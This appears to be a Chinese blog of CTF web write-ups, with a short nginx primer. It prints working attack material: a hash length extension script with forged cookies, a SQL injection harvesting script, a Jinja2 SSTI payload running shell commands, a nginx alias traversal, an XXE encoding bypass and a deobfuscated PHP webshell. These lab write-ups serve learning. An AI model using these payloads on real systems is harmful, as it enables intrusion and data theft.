De1CTF-2019-SSRF-Me

[De1CTF 2019]SSRF Me

1.题目:

2.过程:

进入题目,大概是一坨python的代码……拖到编译器里手动格式化一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
#! /usr/bin/env python
# encoding=utf-8
from flask import Flask
from flask import request
import socket
import hashlib
import urllib
import sys
import os
import json

reload(sys)

sys.setdefaultencoding('latin1')
app = Flask(__name__)
secert_key = os.urandom(16)


class Task:
def __init__(self, action, param, sign, ip):
self.action = action
self.param = param
self.sign = sign
self.sandbox = md5(ip)
if (not os.path.exists(self.sandbox)): # SandBox For Remote_Addr
os.mkdir(self.sandbox)

def Exec(self):
result = {}


result['code'] = 500
if (self.checkSign()):
if"scan" in self.action:
tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
resp = scan(self.param)
if (resp == "Connection Timeout"):
result['data'] = resp
else:
print resp

tmpfile.write(resp)
tmpfile.close()
result['code'] = 200


if "read" in self.action:
f = open("./%s/result.txt" % self.sandbox, 'r')
result['code'] = 200
result['data'] = f.read()
if result['code'] == 500:
result['data'] = "Action Error" else:
result['code'] = 500
result['msg'] = "Sign Error"
return result


def checkSign(self):
if(getSign(self.action, self.param) == self.sign):
return True
else:
return False # generate Sign For Action Scan.


@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
param = urllib.unquote(request.args.get("param", ""))
action = "scan"

@app.route('/De1ta', methods=['GET', 'POST'])
def challenge():
action = urllib.unquote(request.cookies.get("action"))
param = urllib.unquote(request.args.get("param", ""))
sign = urllib.unquote(request.cookies.get("sign"))
ip = request.remote_addr
if (waf(param)): return "No Hacker!!!!"
task = Task(action, param, sign, ip)
return json.dumps(task.Exec()) \

@app.route('/')
def index():
return open("code.txt", "r").read()
def scan(param):
socket.setdefaulttimeout(1)
try:
return urllib.urlopen(param).read()[:50]
except:
return "Connection Timeout"


def getSign(action, param):
return hashlib.md5(secert_key + param + action).hexdigest()


def md5(content):
return hashlib.md5(content).hexdigest()


def waf(param):
check = param.strip().lower()
if check.startswith("gopher") or check.startswith("file"):
return True
else:
return False

if __name__ == '__main__': app.debug = False
app.run(host='0.0.0.0', port=80)

还是挺乱的……能看懂就行……

先看路由:

1
2
3
4
@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
param = urllib.unquote(request.args.get("param", ""))
※action = "scan"

调用了getSign:

1
2
def getSign(action, param):
return hashlib.md5(secert_key + param + action).hexdigest()

也就是说,访问/geneSign,会根据secert_key、param、action生成MD5的签名

action的默认值为scan

1
2
3
4
5
6
7
8
9
@app.route('/De1ta', methods=['GET', 'POST'])
def challenge():
action = urllib.unquote(request.cookies.get("action"))
param = urllib.unquote(request.args.get("param", ""))
sign = urllib.unquote(request.cookies.get("sign"))
ip = request.remote_addr
if (waf(param)): return "No Hacker!!!!"
※task = Task(action, param, sign, ip)
return json.dumps(task.Exec()) \

walf:

1
2
3
4
5
6
def waf(param):
check = param.strip().lower()
if check.startswith("gopher") or check.startswith("file"):
return True
else:
return False

class task和Exec:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
class Task:
def __init__(self, action, param, sign, ip):
self.action = action
self.param = param
self.sign = sign
self.sandbox = md5(ip)
if (not os.path.exists(self.sandbox)): # SandBox For Remote_Addr
os.mkdir(self.sandbox)

def Exec(self):
result = {}
result['code'] = 500
if (self.checkSign()):
if"scan" in self.action:
tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
resp = scan(self.param)
if (resp == "Connection Timeout"):
result['data'] = resp
else:
print resp
tmpfile.write(resp)
tmpfile.close()
result['code'] = 200


if "read" in self.action:
f = open("./%s/result.txt" % self.sandbox, 'r')
result['code'] = 200
result['data'] = f.read()
if result['code'] == 500:
result['data'] = "Action Error" else:
result['code'] = 500
result['msg'] = "Sign Error"
return result

在核对签名后,如果scan在action中,则scan读取param并存放到result.txt中

如果read在action中,则read读取并显示result.txt……大概是这个意思

想read就要伪造签名,这里存在一种攻击方式:

哈希长度扩展攻击

想要了解这种攻击方式,就要了解哈希:

1.HASH:

Hash,一般翻译做散列、杂凑,或音译为哈希,是把任意长度的输入(又叫做预映射pre-image)通过散列算法变换成固定长度的输出,该输出就是散列值。简单的说就是一种将任意长度的消息压缩到某一固定长度的消息摘要的函数。基于Merkle–Damgård结构。

2.例如:MD5

一般md5在签名时会是这样的:

md5(key+data)

我们不知道key,但是data是可以控制的

如果同时我们知道了key的长度就可以无需key,计算出md5(key+data+attach)

attach就是我们任意附加的字段。

md5在加密时,data按照512位分块处理,最后一块不满512位的处理:

  1. data+padding+length(data):总长度为64字节;
  2. length(data):8字节,64位长,描述data原始信息的长度,按照小端储存;
  3. padding:填充,根据“\80”+(“\x00”)*x,使得达到448位长度。

这样,数据就可以分块计算了。

MD5规定了有初始计算向量,向量依次与每个数据块计算,每计算一次,得到新的向量

新的向量会覆盖掉初始向量,成为下个数据块的计算向量。最后的计算向量处理后就是最终的md5值

而我们已知的md5(key+data)就相当于已知前一个数据块计算后得到的计算向量

key长度已知的情况下,我们只要人为补充padding,就可以使attach成为下一个数据块内容,

key参与下计算的向量一定是正确的,也就确保拿已知md5继续计算下去得到的md5是正确的。

我们拿到md5值后,就可以完成验证,完成哈希长度扩展攻击攻击了。

hashpump

em……这个本地实现还挺难搞的……,hashpump工具可以轻松完成这些工作🐕!

image-20210321105703270

使用也十分简介明了,已知md5,data,key的长度,附加字段,就可以生成对应md5和填充好的数据

解题

image-20210321110037572

可以看到key的长度,同时根据hint,param为flag.txt,共24位。attach自然是read

1
2
3
4
5
6
7
8
9
@app.route('/De1ta', methods=['GET', 'POST'])
def challenge():
action = urllib.unquote(request.cookies.get("action"))
param = urllib.unquote(request.args.get("param", ""))
sign = urllib.unquote(request.cookies.get("sign"))
ip = request.remote_addr
if (waf(param)): return "No Hacker!!!!"
task = Task(action, param, sign, ip)
return json.dumps(task.Exec()) \

向/De1ta页面的cookie字段提交sign和action即可:

1
2
3
4
5
6
7
8
9
10
11
import requests

url = 'http://9c8d9029-c3f0-495e-a6b1-d806896df4a2.node3.buuoj.cn/De1ta?param=flag.txt'

##将生成\x转换成%
cookies = {
'sign': '2b865fed1aca31784de5754a868533a3',
'action':'scan%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%e0%00%00%00%00%00%00%00read'
}
res = requests.get(url=url, cookies=cookies)
print(res.text)

image-20210321110421364

ok

  

NaNNaNNaNNaN-Batman

NaNNaNNaNNaN-Batman

题目只有一个附件:web100……

打开后是乱码:

image-20210318165620867

_是一个function,后面可以看到eval(_)……

在js中,eval是一个奇怪的函数:

JavaScript eval() 函数

eval() 函数可计算某个字符串,并执行其中的的 JavaScript 代码。

……总之就挺奇怪的,计算出乱码……,我找到了GitHub上的官方wp:

1
2
3
4
5
6
7
To see what code gets evaluated, let’s replace theevalat the end withconsole.log. This results in:

_ = 'function $(){\x02e=\x04getEle\x0FById("c").value;\x0Elength==16\x05^be0f23\x01233ac\x01e98aa$\x01c7be9\x07){\x02t\bfl\x03s_a\x03i\x03e}\x06n\ba\x03_h0l\x03n\x06r\bg{\x03e\x03_0\x06i\bit\'\x03_\x03n\x06s=[t,n,r,i];for(\x02o=0;o<13;++o){\t\x0B[0]);\x0B.splice(0,1)}}}\t\'<input id="c"><\f onclick=$()>Ok</\f>\');delete _\x01\x07\x05\x02var \x03","\x04docu\x0F.\x05)\x0Ematch(/\x06"];\x02\x07/)!=null\b=["\t\x04write(\x0Bs[o%4]\fbutton\x0Eif(e.\x0Fment';
for (Y in $ = '\x0F\x0E\f\x0B\t\b\x07\x06\x05\x04\x03\x02\x01')
with (_.split($[Y]))
_ = join(pop());
eval(_);

\x是以16进制表示的字符……js不是很熟悉

把不可预测的eval换成alert正确解释:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
function $() {
var e = document.getElementById("c").value;
if (e.length == 16)
if (e.match(/^be0f23/) != null)
if (e.match(/233ac/) != null)
if (e.match(/e98aa$/) != null)
if (e.match(/c7be9/) != null) {
var t = ["fl", "s_a", "i", "e}"];
var n = ["a", "_h0l", "n"];
var r = ["g{", "e", "_0"];
var i = ["it'", "_", "n"];
var s = [t, n, r, i];
for (var o = 0; o < 13; ++o) {
document.write(s[o % 4][0]);
s[o % 4].splice(0, 1)
}
}
}
document.write('<input id="c"><button onclick=$()>Ok</button>');
delete _

满足条件后计算出flag,条件应该是需要拼接的,计算部分导入控制台出结果:

image-20210318175207495

……

  

web2

web2
1.题目
2.过程:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
$miwen="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws";

function encode($str){
$_o=strrev($str);
// echo $_o;

for($_0=0;$_0<strlen($_o);$_0++){

$_c=substr($_o,$_0,1);
$__=ord($_c)+1;
$_c=chr($__);
$_=$_.$_c;
}
return str_rot13(strrev(base64_encode($_)));
}

highlight_file(__FILE__);
/*
逆向加密算法,解密$miwen就是flag
*/
?>

直接交代了源码,看过上一个混淆,这个看着就顺眼多了

根据代码,关键也就是截取字符使ASCII移位,最后rot13,base64……

解密:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
$a="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws";



function decode($str){

$_o=base64_decode(strrev(str_rot13($str)));

for($_0=0;$_0<strlen($_o);$_0++){

$_c=substr($_o,$_0,1);
$__=ord($_c)-1;
$_c=chr($__);
$_=$_.$_c;
}
$_=strrev($_);

return $_;
}

echo decode($a);

?>

image-20210318162648203

ok……

  

Web_php_wrong_nginx_config

Web_php_wrong_nginx_config

进入题目是一个登录界面,拿御剑扫一下:

image-20210318150302083

出来很多,但只有admin管用……

admin有一个please continue……手动发现robots.txt……愣是扫不出来

:hints.php Hack.php

hints告诉我们

image-20210318150619914

应该有一个文件读取的部分……

抓包,cookie里有一个isLogin=0,改成1进入了网站页面:

image-20210318150825792

管理中心页面:image-20210318150858928

这里应该可以读取配置文件……读不出来,原来是过滤了../

双写:

?file=..././..././..././..././etc/nginx/sites-enabled/site.conf&ext=

读取:

image-20210318151131711

按照提示说的,应该是Nginx的配置文件,用nginx-config-formatter-master整理代码:

python nginxfmt.py [filename.conf]

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
server {
listen 8080;
## listen for ipv4;
this line is default and implied listen [::]:8080;
## listen for ipv6 root /var/www/html;
index index.php index.html index.htm;
port_in_redirect off;
server_name _;
# Make site accessible from http://localhost/ #server_name localhost;
# If block for setting the time for the logfile if ($time_iso8601 ~ "^(\d{4})-(\d{2})-(\d{2})") { set $year $1;
set $month $2;
set $day $3;
}
# Disable sendfile as per https://docs.vagrantup.com/v2/synced-folders/virtualbox.html sendfile off;
set $http_x_forwarded_for_filt $http_x_forwarded_for;
if ($http_x_forwarded_for_filt ~ ([0-9]+\.[0-9]+\.[0-9]+\.)[0-9]+) {
set $http_x_forwarded_for_filt $1???;
}
# Add stdout logging access_log /var/log/nginx/$hostname-access-$year-$month-$day.log openshift_log;
error_log /var/log/nginx/error.log info;
location / {
# First attempt to serve request as file, then # as directory, then fall back to index.html try_files $uri $uri/ /index.php?q=$uri&$args;
server_tokens off;
}
#error_page 404 /404.html;
# redirect server error pages to the static page /50x.html # error_page 500 502 503 504 /50x.html;
location = /50x.html {
root /usr/share/nginx/html;
}
location ~ \.php$ {
try_files $uri $uri/ /index.php?q=$uri&$args;
fastcgi_split_path_info ^(.+\.php)(/.+)$;
fastcgi_pass unix:/var/run/php/php5.6-fpm.sock;
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
fastcgi_param SCRIPT_NAME $fastcgi_script_name;
fastcgi_index index.php;
include fastcgi_params;
fastcgi_param REMOTE_ADDR $http_x_forwarded_for;
}
location ~ /\. {
log_not_found off;
deny all;
}
location /web-img {
alias /images/;
autoindex on;
}
location ~* \.(ini|docx|pcapng|doc)$ {
deny all;
}
include /var/www/nginx[.]conf;
}

location这里就是处理路由,location明确不同的节点该如何处理:

deny all 即拒绝访问。也可以allow指定IP访问

root:

location /i/ {

root /data/w3;

}

root的处理结果是:root路径+location路径

请求 http://xxxx/i/top.gif 这个地址时,那么在服务器里面对应的真正的资源是 /data/w3/i/top.gif文件

alias:

location /i/ {

alias /data/w3/;

}

alias的处理结果是:使用alias路径替换location路径

同样请求 http://foofish.net/i/top.gif 时,在服务器查找的资源路径是: /data/w3/top.gif,因为alias会把location后面配置的路径丢弃掉,把当前匹配到的目录指向到指定的目录。

尽管绝大部分配置都看不懂,但知道有一个/web-img的路径,转到根目录的/images中去……

而alias下的是: autoindex on;

Nginx默认是不允许列出整个目录的

如需此功能,打开nginx.conf文件,在location server 或 http段中加入autoindex on

也就是访问这个网页可以实现网站目录遍历

访问:http://111.200.241.244:58533/web-img/

image-20210318153058090

该目录下没有什么文件,访问/web-img../相当于/images/../,可以读到上层的目录

image-20210318160059239

发现hack.php.bak下载读取:

image-20210318160147928

php混淆……离谱

观察一下,关键是利用$f创建了一个函数,输出f并格式化:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
<?php

$kh="42f7";
$kf="e9ac";
function x($t,$k) {
$c=strlen($k);
$l=strlen($t);
$o="";
for ($i=0;$i<$l;) {
for ($j=0;($j<$c&&$i<$l);$j++,$i++) {
$o.=$t {
$i
}
^$k {
$j
}
;
}
}
return $o;
}
$r=$_SERVER;
$rr=@$r["HTTP_REFERER"];
$ra=@$r["HTTP_ACCEPT_LANGUAGE"];
if($rr&&$ra) {
$u=parse_url($rr);
parse_str($u["query"],$q);
$q=array_values($q);
preg_match_all("/([\w])[\w-]+(?:;q=0.([\d]))?,?/",$ra,$m);
if($q&&$m) {
@session_start();
$s=&$_SESSION;
$ss="substr";
$sl="strtolower";
$i=$m[1][0].$m[1][1];
$h=$sl($ss(md5($i.$kh),0,3));
$f=$sl($ss(md5($i.$kf),0,3));
$p="";
for ($z=1;$z<count($m[1]);$z++)$p.=$q[$m[2][$z]];
if(strpos($p,$h)===0) {
$s[$i]="";
$p=$ss($p,3);
}
if(array_key_exists($i,$s)) {
$s[$i].=$p;
$e=strpos($s[$i],$f);
if($e) {
$k=$kh.$kf;
ob_start();
@eval(@gzuncompress(@x(@base64_decode(preg_replace(array("/_/","/-/"),array("/","+"),$ss($s[$i],0,$e))),$k)));
$o=ob_get_contents();
ob_end_clean();
$d=base64_encode(x(gzcompress($o),$k));
print("<$k>$d</$k>");
@session_destroy();
}
}
}
}

离谱,php混淆的代码,后面有个eval,大概是一个马……

我太菜了,看不动……

dalao:https://blog.csdn.net/weixin_44604541/article/details/107801811

dalao竟然写了可交互的脚本……离谱:

image-20210318160642217

tql

……wohaocai

  

Nginx入门

Nginx

1.简介:高性能的HTTP和反向代理服务器,占有内存少,并发能力强。

​ Nginx与Tomcat:Nginx可以作为静态页面的web服务器,支持CGI协议的动态语言,perl、php。 不支持Java,与apache构成竞争关系。Nginx更有优势。

​ Nginx功能丰富,可作为HTTP服务器,也可作为反向代理服务器,邮件服务器。支持FastCGI、SSL、Virtual Host、URL Rewrite、Gzip等功能。并且支持很多第三方的模块扩展。

2.功能

  • ​ 正向代理:客户端通过代理服务器发送访问请求
  • ​ 反向代理:客户端访问Nginx代理的服务器,访问不到后台服务器
  • ​ 负载均衡:请求分发,根据路线,速度分配请求;提高抗风险能力。
  • ​ 动静分离:拿出静态资源,减小动态资源数据包,快速上线、修改;页面样式修改方便。

Nginx配置:

  • 1、全局块:配置影响nginx全局的指令。一般有运行nginx服务器的用户组,nginx进程pid存放路径,日志存放路径,配置文件引入,允许生成worker process数等。
  • 2、events块:配置影响nginx服务器或与用户的网络连接。有每个进程的最大连接数,选取哪种事件驱动模型处理连接请求,是否允许同时接受多个网路连接,开启多个网络连接序列化等。
  • 3、http块:可以嵌套多个server,配置代理,缓存,日志定义等绝大多数功能和第三方模块的配置。如文件引入,mime-type定义,日志自定义,是否使用sendfile传输文件,连接超时时间,单连接请求数等。
  • 4、server块:配置虚拟主机的相关参数,一个http中可以有多个server。
  • 5、location块:配置请求的路由,以及各种页面的处理情况。

image-20210318133439418

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
########### 每个指令必须有分号结束。#################
#user administrator administrators; #配置用户或者组,默认为nobody nobody。
#worker_processes 2; #允许生成的进程数,默认为1
#pid /nginx/pid/nginx.pid; #指定nginx进程运行文件存放地址
error_log log/error.log debug; #制定日志路径,级别。这个设置可以放入全局块,http块,server块,级别以此为:debug|info|notice|warn|error|crit|alert|emerg
events {
accept_mutex on; #设置网路连接序列化,防止惊群现象发生,默认为on
multi_accept on; #设置一个进程是否同时接受多个网络连接,默认为off
#use epoll; #事件驱动模型,select|poll|kqueue|epoll|resig|/dev/poll|eventport
worker_connections 1024; #最大连接数,默认为512
}
http {
include mime.types; #文件扩展名与文件类型映射表
default_type application/octet-stream; #默认文件类型,默认为text/plain
#access_log off; #取消服务日志
log_format myFormat '$remote_addr$remote_user [$time_local] $request $status $body_bytes_sent $http_referer $http_user_agent $http_x_forwarded_for'; #自定义格式
access_log log/access.log myFormat; #combined为日志格式的默认值
sendfile on; #允许sendfile方式传输文件,默认为off,可以在http块,server块,location块。
sendfile_max_chunk 100k; #每个进程每次调用传输数量不能大于设定的值,默认为0,即不设上限。
keepalive_timeout 65; #连接超时时间,默认为75s,可以在http,server,location块。

upstream mysvr {
server 127.0.0.1:7878;
server 192.168.10.121:3333 backup; #热备
}
error_page 404 https://www.baidu.com; #错误页
server {
keepalive_requests 120; #单连接请求上限次数。
listen 4545; #监听端口
server_name 127.0.0.1; #监听地址
location ~*^.+$ { #请求的url过滤,正则匹配,~为区分大小写,~*为不区分大小写。
#root path; #根目录
#index vv.txt; #设置默认页
proxy_pass http://mysvr; #请求转向mysvr 定义的服务器列表
deny 127.0.0.1; #拒绝的ip
allow 172.18.5.54; #允许的ip
}
}
}

几个常见配置项:

  • 1.$remote_addr 与 $http_x_forwarded_for 用以记录客户端的ip地址;
  • 2.$remote_user :用来记录客户端用户名称;
  • 3.$time_local : 用来记录访问时间与时区;
  • 4.$request : 用来记录请求的url与http协议;
  • 5.$status : 用来记录请求状态;成功是200;
  • 6.$body_bytes_s ent :记录发送给客户端文件主体内容大小;
  • 7.$http_referer :用来记录从那个页面链接访问过来的;
  • 8.$http_user_agent :记录客户端浏览器的相关信息;
  

网鼎杯-2018-unfinish

网鼎杯-2018-unfinish
1.题目:
2.过程:

进入题目,是一个/login.php,放到御剑扫:

image-20210317133844360

有注册界面,随便注册一个看看:

image-20210317134024989

什么都没有……左边有一个侧边栏可以看到注册的用户名

各种方法都试了一下,都没有成功……在注册时发现用户名(username)加单引号时,界面回显不同,应该是插入数据库时’导致语句的格式错误……(应该先搞懂sql插入语句的……)

SQL INSERT INTO 语句

INSERT INTO 表名称 VALUES (值1, 值2,….)

image-20210317140715985

题目中的sql插入语句就有可能是:

1
insert into table value('$email','$username','$password')

题目中,email和password好像都很难注入……测试时也只有改动username时回显不同

闭合引号’)#似乎不行,语句可能是:

1
insert into tablename (email,username,password) values ('$email','$username','$password')

dalao操作似乎是利用mysql中的”加法“结合hex加密:

**mysql中加号(+)**:

①如果双方都为数值型数据则结果为数值相加结果;

②如果有一方为字符型,则试图将字符型数值转换成数值型,如果转换成功,则继续做数值加法运算;

③如果有一方为null,则结果肯定为null。

也就是说,直接0’ + database() +’0,实际上是0+0+int(database()),而结果开头为字母,即结果为0

如果是version():

image-20210317144848852

version()的显示只剩下了5.5,后面的数据都么有了

可以利用双重hex加密或ord与ascii使返回结果为数字;另,若返回数字超过十位,会以科学计数法返回,造成数据损失……(还有,表名flag竟然是猜的,把information_schema禁了……

写脚本批量注册与登录,获取username数据:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import requests
import time

content = ""
#注册:
url1 = 'http://111.200.241.244:33496/register.php'
for x in range(1,100):
register = {
"email": str(x)+"@qqq.com",
"username": "0'+( substr(hex(hex((select * from flag ))) from "+str((x-1)*10+1)+" for 10))+'0",
"password": "1"
}
response1 = requests.post(url=url1, data=register)

#登录,查username
url2 = 'http://111.200.241.244:33496/login.php'

for x in range(1,100):
login = {
"email": str(x)+"@qqq.com",
"password": "1"
}
response2 = requests.post(url=url2, data=login)
r = response2.text
left = r.find(' ')
right = r.find('</span>')
con = r[left:right].strip()
content += con
print(con)
print(content)

image-20210317145756747

没写停止,一下全输出了……

hex解密:

image-20210317145858429

这好像叫做二次注入……和我理解的好像不一样,那上次用cookie回显是不是也算二次注入……

  

buu两道SSTI

buu两道SSTI

1.题目:
2.过程:
Web_python_template_injection

进入题目,只有一个页面……随便访问一个:

image-20210310193328950

image-20210310193457920

得到配置

这里简单的lipsum方法似乎不行……在不确定的情况下,可以用模板支持的python语句进行遍历:

1
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__ == 'catch_warnings' %}{{c.__init__.func_globals['linecache'].__dict__['os'].popen('ls').read()}}{% endif %}{% endfor %}

找到指定的模块并运用即可:

image-20210310194103588 image-20210310194117771

获得flag

shrine

进入题目发现给了python的源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import flask
import os

app = flask.Flask(__name__)

app.config['FLAG'] = os.environ.pop('FLAG')


@app.route('/')
def index():
return open(__file__).read()


@app.route('/shrine/<path:shrine>')
def shrine(shrine):

def safe_jinja(s):
s = s.replace('(', '').replace(')', '')
blacklist = ['config', 'self']
return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s

return flask.render_template_string(safe_jinja(shrine))


if __name__ == '__main__':
app.run(debug=True)

设置了一个flask对象:app flag大概是被设置到对象的配置文件中

路由中有:/shrine/<path:shrine>

访问并查看源码:

image-20210310193240514

SSTI……blaklist

相当于:+s

还会替换 ‘(‘ 和 ‘)’ ……

这里要注意,config是flask中的变量,记录了整个配置信息。set config=None仅仅是使得此方法无法使用,而不是替换’config‘为’None‘,所以 会返回None。我们仍有其他方法访问config。

1
{{self.__dict__}}也可以得到config,只是同样被禁用了……

Flask特有的变量和函数

config | request | session | url_for() | get_flashed_messages()

详细方法:https://blog.csdn.net/enjolras_fuu/article/details/82229073

1
2
3
在url_for.__globals__中,我们可以找到有关app配置的模块current_app
可以通过{{url_for.__globals__['current_app'].config}}来读取当前对象的配置
get_flashed_messages中好像也有……

或许这种情况应该在这些函数中翻一翻相关的文件……就能找到方法

image-20210310193254568

获得flag

两道题是不同的考点,都是基础……

学习了……

  

xctf-lottery

xctf-lottery

1.题目:
2.过程:

lottery,彩票网站……

攻防世界直接给了附件,实际上题目存在/.git源码泄露:

image-20210310124701047

很多php文件,有session的储存,但似乎不是flask session伪造,config里也没有key之类的……大部分操作都集成在api中,api接受json格式的数据。不像Hgame的微积分数学题,可以自动获取公式计算刷分,这里的彩票数字是随机的:

image-20210310125320868

那网站哪里会出问题,既没有像样的用户登录,session似乎也没毛病……

原来是php弱比较导致的漏洞:

image-20210310130729735

……

直接遍历了输入的number,number的正常输入本应该为字符串,但json支持数组

注意,在使用==比较时,true是可以和任何类型的字符串或数字相等,返回true,当然0和false和null除外(true==0或true==false或true==null)

可以使用数组传入布尔值达到恒等:

image-20210310131637110 image-20210310131712557

刷钱买flag即可……

  

xctf-unagi

xctf-unagi

1.题目:
2.过程:

进入题目是一个网站导航,有一个上传点:

image-20210305175148141

上传新用户到系统……here中是:

image-20210305175416023

大概是一个xml的界面,演示了xml格式的用户数据,也就是需要我们上传类似的xml文件来上传新用户。

image-20210309171219845

about中提示,应当读取/flag文件

我一直很困惑于DTD这个东西,即使实体,也是规范……

image-20210309171739424

内部实体,规定了xml的几个元素,与元素的属性:

image-20210309171912700

下面的xml数据需要根据DTD已有的定义(“规范”)来组织(这样的标签才会被正确解析?),DTD也可以是外部独立的,便于多个xml格式的文档引用

假如 DTD 位于 XML 源文件的外部,那么它应通过下面的语法被封装在一个 DOCTYPE 定义中:

1
<!DOCTYPE 根元素 SYSTEM "文件名">

eg:

image-20210309172332031

(include?

xxe的朴素运用,就是利用实体,读取内部敏感文件:

image-20210309172756732

根据提示的xml结构,构造数据:

image-20210309173533674

除了intro标签其他都有长度限制

intro标签可以在User界面找到

cred标签么有显示,大概是php代码不对这个标签识别

上传后发现有waf阻挡

绕过WAF保护的XXE中介绍了编码绕过,有效waf不支持一些编码,可以轻松绕过

https://mohemiv.com/tags/xxe/ 这个更详细,可惜全英……

1
iconv -f utf8 -t utf16 1.xml>2.xml

转换后上传,即得到flag

xxe深度学习

如果目标网站能访问外网,访问个人服务器上的dtd,操作大概会更多一些?……

  

:D 一言句子获取中...